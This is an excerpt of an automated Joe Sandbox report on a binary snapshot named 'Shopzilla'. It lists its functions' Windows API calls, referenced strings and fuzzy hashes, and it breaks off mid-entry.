Opcode ID: b82f698da60d2c2d4c2540510f56fd493c0461de02dcfcc9176262022c608ad4
Instruction ID: 77713f8deca65b7efb721e098b0b2c3706fb7e50eb6465978d1917339835a20d
Opcode Fuzzy Hash: b82f698da60d2c2d4c2540510f56fd493c0461de02dcfcc9176262022c608ad4
Instruction Fuzzy Hash: 9C31BF72500208ABEB219F95DC68FBDB7ADEB55329F244619FD10C62D0D7B49E40CB51

Function 00BDC013 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BA260D
SetTextColor.GDI32(?,000000FF), ref: 00BA2617
SetBkMode.GDI32(?,00000001), ref: 00BA262C
GetStockObject.GDI32(00000005), ref: 00BA2634
GetClientRect.USER32(?), ref: 00BDC02C
SendMessageW.USER32(?,00001328,00000000,?), ref: 00BDC043
GetWindowDC.USER32(?), ref: 00BDC04F
GetPixel.GDI32(00000000,?,?), ref: 00BDC05E
ReleaseDC.USER32(?,00000000), ref: 00BDC070
GetSysColor.USER32(00000005), ref: 00BDC08E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: f4506405dfd24732bf0879407a0d2b74e63a522369b13ecd54d5354171665547
Instruction ID: 576ef52f4214dacfb0b460a9070c9156a173244c8f335f5641a8fcda001fd6fa
Opcode Fuzzy Hash: f4506405dfd24732bf0879407a0d2b74e63a522369b13ecd54d5354171665547
Instruction Fuzzy Hash: A0118B32510205FFDB616FA8EC19BED7BB6FB09321F2042A5FA26950E1CB310951EF10

Function 00BAAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00BAADE1
OleUninitialize.OLE32(?,00000000), ref: 00BAAE80
UnregisterHotKey.USER32(?), ref: 00BAAFD7
DestroyWindow.USER32(?), ref: 00BE2E94
FreeLibrary.KERNEL32(?), ref: 00BE2EF9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BE2F26

Strings

close all, xrefs: 00BAADDC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 20cf6800f66527c771a26640f1ffda6e5a71d97857a097c3783b45f66fe47472
Instruction ID: df751dd9ba067131b04042a11d8a71310f20dc89190e268ab3742a8eea444a00
Opcode Fuzzy Hash: 20cf6800f66527c771a26640f1ffda6e5a71d97857a097c3783b45f66fe47472
Instruction Fuzzy Hash: 4AA139317152128FCB29EF15C895B69F7E4EF15700F1442EDE80AAB261CB31AD56CF91

Function 00BFAB4C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00BFAF1D), ref: 00BFAE5B

Strings

TEXT, xrefs: 00BFAD92
INSTANCE, xrefs: 00BFAD69
CLASS, xrefs: 00BFABDA
REGEXPCLASS, xrefs: 00BFAC20
CLASSNN, xrefs: 00BFABFD
NAME, xrefs: 00BFAC8D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: ad6f5dc3022f6d92e508ee9cf707502b69f6e5ee0682765ca90346094c2c8ba5
Instruction ID: 59b6e54863e18a2406e1e58409ffee5e279020e879e6b819319596dc628a250f
Opcode Fuzzy Hash: ad6f5dc3022f6d92e508ee9cf707502b69f6e5ee0682765ca90346094c2c8ba5
Instruction Fuzzy Hash: 879171B4500109ABCB0CEF60C491BFABBE9FF44300F5081A9DA5EA7241DF70A95DDB91

Function 00BA31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00BA327E

Part of subcall function 00BA218F: GetClientRect.USER32(?,?), ref: 00BA21B8
Part of subcall function 00BA218F: GetWindowRect.USER32(?,?), ref: 00BA21F9
Part of subcall function 00BA218F: ScreenToClient.USER32(?,?), ref: 00BA2221

GetDC.USER32 ref: 00BDCFA3
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00BDCFB6
SelectObject.GDI32(00000000,00000000), ref: 00BDCFC4
SelectObject.GDI32(00000000,00000000), ref: 00BDCFD9
ReleaseDC.USER32(?,00000000), ref: 00BDCFE1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00BDD06C

Strings

U, xrefs: 00BDCF41

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: c257694c1a9abe6cac7975fe20439526358fe4fb9f69b4fa345cbb126439836f
Instruction ID: fb4c0e06e6681e41fb4cd71799753fe0d5004c4661fcee3c07e70a975ce507cc
Opcode Fuzzy Hash: c257694c1a9abe6cac7975fe20439526358fe4fb9f69b4fa345cbb126439836f
Instruction Fuzzy Hash: C871D231504205EFCF218F64C894BFABBF5FF89310F1442AAFD955A2A6E7319842DB60

Function 00C2C3AF Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

Part of subcall function 00BA2714: GetCursorPos.USER32(?), ref: 00BA2727
Part of subcall function 00BA2714: ScreenToClient.USER32(00C667B0,?), ref: 00BA2744
Part of subcall function 00BA2714: GetAsyncKeyState.USER32(00000001), ref: 00BA2769
Part of subcall function 00BA2714: GetAsyncKeyState.USER32(00000002), ref: 00BA2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00C2C417
ImageList_EndDrag.COMCTL32 ref: 00C2C41D
ReleaseCapture.USER32 ref: 00C2C423
SetWindowTextW.USER32(?,00000000), ref: 00C2C4CD
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00C2C4E0
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00C2C5C2

Strings

@GUI_DRAGFILE, xrefs: 00C2C557
@GUI_DROPID, xrefs: 00C2C514

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 443cff964d1574c9e7925478e4256364012fce10f11246ce3d1c5d5750b5b89a
Instruction ID: 32060bac0b3de0f9ebd69ec68aeaae8ec1b960a5a06ce0a560d154e82da61b08
Opcode Fuzzy Hash: 443cff964d1574c9e7925478e4256364012fce10f11246ce3d1c5d5750b5b89a
Instruction Fuzzy Hash: F4518B71208305AFDB14EF24DCA6F6E7BE1EF88310F104929F995872E1CB71A954DB92

Function 00C190F8 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00C30980), ref: 00C191DA
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00C30980), ref: 00C1920E
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00C19388
SysFreeString.OLEAUT32(?), ref: 00C193B2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: fe6eddc8a3fb48c722e348f827417aedc35c7d5aaf5f7ddf7f87570681b6796f
Instruction ID: 3d601f00fb67a4d3753296b0f48d8519416b7737df829c1734c25276f86183e3
Opcode Fuzzy Hash: fe6eddc8a3fb48c722e348f827417aedc35c7d5aaf5f7ddf7f87570681b6796f
Instruction Fuzzy Hash: FBF13C71A00109EFDB04DF94C894EEEB7B9FF86314F148198F915AB291D731AE86DB50

Function 00C050E9 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C04A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C039F7,?), ref: 00C04A4D

Part of subcall function 00C04A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C039F7,?), ref: 00C04A66

Part of subcall function 00C04E59: GetFileAttributesW.KERNELBASE(?,00C03A6B), ref: 00C04E5A

lstrcmpiW.KERNEL32(?,?), ref: 00C05168
_wcscmp.LIBCMT ref: 00C05182
MoveFileW.KERNEL32(?,?), ref: 00C0519D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 19f2628d000133d9cfd6a45ad46b96589b8e94fd2bc0e7c75d9381dc196551f3
Instruction ID: 6422db14d5f33d4810c4eea014dfd0bb0bcd94579a715b9c74d8c4cd0fbc4bca
Opcode Fuzzy Hash: 19f2628d000133d9cfd6a45ad46b96589b8e94fd2bc0e7c75d9381dc196551f3
Instruction Fuzzy Hash: 0B5186B24087859BC724DB94DC91ADFB3ECAF84340F50492EF699D3191EF70A688CB56

Function 00C28A32 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00C28AEC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 249fe535b1ae4931dd0622020a5fb8282679760087d14b3e602feba2ea4aac47
Instruction ID: 4d8e76252d2904d47194052920df7b2e7a52f0d93b2dd607eceb3bafb83db485
Opcode Fuzzy Hash: 249fe535b1ae4931dd0622020a5fb8282679760087d14b3e602feba2ea4aac47
Instruction Fuzzy Hash: 7B51B3B0503224FFEF209F29EC85B5D7BA4AB05350F204516F624E69E1CF75AA98DB50

Function 00BA2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00BDC568
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BDC58A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00BDC5A2
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00BDC5C0
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00BDC5E1
DestroyIcon.USER32(00000000), ref: 00BDC5F0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00BDC60D
DestroyIcon.USER32(?), ref: 00BDC61C

Part of subcall function 00C2A89C: DeleteObject.GDI32(00000000), ref: 00C2A8D5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 6156cd9b51248f2864176984c6cc1a9122726574e9f6b00342bb4d18d5f4eb1e
Instruction ID: e878bcab78c2540ec77d26aec706887a2610c16731fd510d98c947e694b90ea2
Opcode Fuzzy Hash: 6156cd9b51248f2864176984c6cc1a9122726574e9f6b00342bb4d18d5f4eb1e
Instruction Fuzzy Hash: 5B517C7060420AAFDB24DF28DC86BAABBF5FB59310F1045A9F942972D0E771ED50DB50

Function 00BFA009 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFB310: GetWindowThreadProcessId.USER32(?,00000000), ref: 00BFB330
Part of subcall function 00BFB310: GetCurrentThreadId.KERNEL32 ref: 00BFB337
Part of subcall function 00BFB310: AttachThreadInput.USER32(00000000,?,00BFA01E,?,00000001), ref: 00BFB33E

MapVirtualKeyW.USER32(00000025,00000000), ref: 00BFA029
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00BFA046
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00BFA049
MapVirtualKeyW.USER32(00000025,00000000), ref: 00BFA052
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00BFA070
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00BFA073
MapVirtualKeyW.USER32(00000025,00000000), ref: 00BFA07C
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00BFA093
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00BFA096

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 7d7cfa4d2c8a7f4fd27f4b99b22cb673279a2c0f5cd2f1fc80189dc4aef992da
Instruction ID: 4e28e2364c38c4d7ef7d10515e7a8c2e29f0032a61734c3dd983dd7386e5723c
Opcode Fuzzy Hash: 7d7cfa4d2c8a7f4fd27f4b99b22cb673279a2c0f5cd2f1fc80189dc4aef992da
Instruction Fuzzy Hash: 731104B2960618BEF6106F60DC8AF6E7F6DEB4CB51F200419F744AB090CAF25C509AA4

Function 00BF92BC Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF92C5
HeapAlloc.KERNEL32(00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF92CC
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00BF8F3D,00000B00,?,?), ref: 00BF92E1
GetCurrentProcess.KERNEL32(?,00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF92E9
DuplicateHandle.KERNEL32(00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF92EC
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00BF8F3D,00000B00,?,?), ref: 00BF92FC
GetCurrentProcess.KERNEL32(00BF8F3D,00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF9304
DuplicateHandle.KERNEL32(00000000,?,00BF8F3D,00000B00,?,?), ref: 00BF9307
CreateThread.KERNEL32(00000000,00000000,00BF932D,00000000,00000000,00000000), ref: 00BF9321

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: fe88c1aa0a3b29188b042d5b726d7db493519e0f3fe402b92b6cc0fc6d44d381
Instruction ID: c6176d50d787fe6173ec8e0cf38f5a6fcffd7bebabe995cd22c9dd9dafb46cdd
Opcode Fuzzy Hash: fe88c1aa0a3b29188b042d5b726d7db493519e0f3fe402b92b6cc0fc6d44d381
Instruction Fuzzy Hash: A001B6B6250308BFE710ABA5DC4DF6F7BACEB88B11F508411FA05DB2A1CA719804DB20

Function 00C195C5 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C19619
VariantInit.OLEAUT32(?), ref: 00C196EA
VariantInit.OLEAUT32(?), ref: 00C197EB
VariantClear.OLEAUT32(?), ref: 00C197F5
VariantClear.OLEAUT32(?), ref: 00C19852

Strings

Null Object assignment in FOR..IN loop, xrefs: 00C1967A, 00C197A8, 00C19860
Incorrect Object type in FOR..IN loop, xrefs: 00C197CE

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: e2634442c8122bbf03629f175f2a3bc42000cefd3bc3b5923863c83d31e5d5f5
Instruction ID: ddc74801abe5014486f02f5e1a4c804c58380cc10d140ce46eca7c07bc455d84
Opcode Fuzzy Hash: e2634442c8122bbf03629f175f2a3bc42000cefd3bc3b5923863c83d31e5d5f5
Instruction Fuzzy Hash: 1C919E71A00219EBDF24CFA5C854FEEBBB8EF46714F108159F515AB281D7709A84DFA0

Function 00C19C0F Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00BF7B0B: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?,?,00BF7E56), ref: 00BF7B28
Part of subcall function 00BF7B0B: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?), ref: 00BF7B43
Part of subcall function 00BF7B0B: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?,?), ref: 00BF7B51
Part of subcall function 00BF7B0B: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00BF7A45,80070057,?), ref: 00BF7B61

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00C19CB8
_memset.LIBCMT ref: 00C19CC5
_memset.LIBCMT ref: 00C19E08
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00C19E34
CoTaskMemFree.OLE32(?), ref: 00C19E3F

Strings

NULL Pointer assignment, xrefs: 00C19E8D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: b2900039ad4aaedb8a5f0e9c2b8091816741836169a0211786bab8e573f91aa6
Instruction ID: 52493ab0b1ca7804e150e799a4aaad29c6665bcb9de91eb9c7593abc755015b1
Opcode Fuzzy Hash: b2900039ad4aaedb8a5f0e9c2b8091816741836169a0211786bab8e573f91aa6
Instruction Fuzzy Hash: C3915971D00219EBCB10DFA5D894EEEBBB9FF09310F10415AF519A7281DB709A84CFA0

Function 00C2716D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00C27211
SendMessageW.USER32(?,00001036,00000000,?), ref: 00C27225
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00C2723F
_wcscat.LIBCMT ref: 00C2729A
SendMessageW.USER32(?,00001057,00000000,?), ref: 00C272B1
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00C272DF

Strings

SysListView32, xrefs: 00C271E3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 0bb706e64ed558fd3623f341a5f1d00715e9e1337090d25c7a196fd4975641eb
Instruction ID: eb2e13f07d1e8915ec7612d3b9d6caef91daa0be3b0e708a2e783195adf31cc0
Opcode Fuzzy Hash: 0bb706e64ed558fd3623f341a5f1d00715e9e1337090d25c7a196fd4975641eb
Instruction Fuzzy Hash: A741C171904318EFEB21DFA4DC85BEE77F8EF08350F10056AF998A6591D6719D848B50

Function 00C1EDE4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00C03FB5: CreateToolhelp32Snapshot.KERNEL32 ref: 00C03FDA
Part of subcall function 00C03FB5: Process32FirstW.KERNEL32(00000000,?), ref: 00C03FE8
Part of subcall function 00C03FB5: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00C040B2

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C1EE55
GetLastError.KERNEL32 ref: 00C1EE68
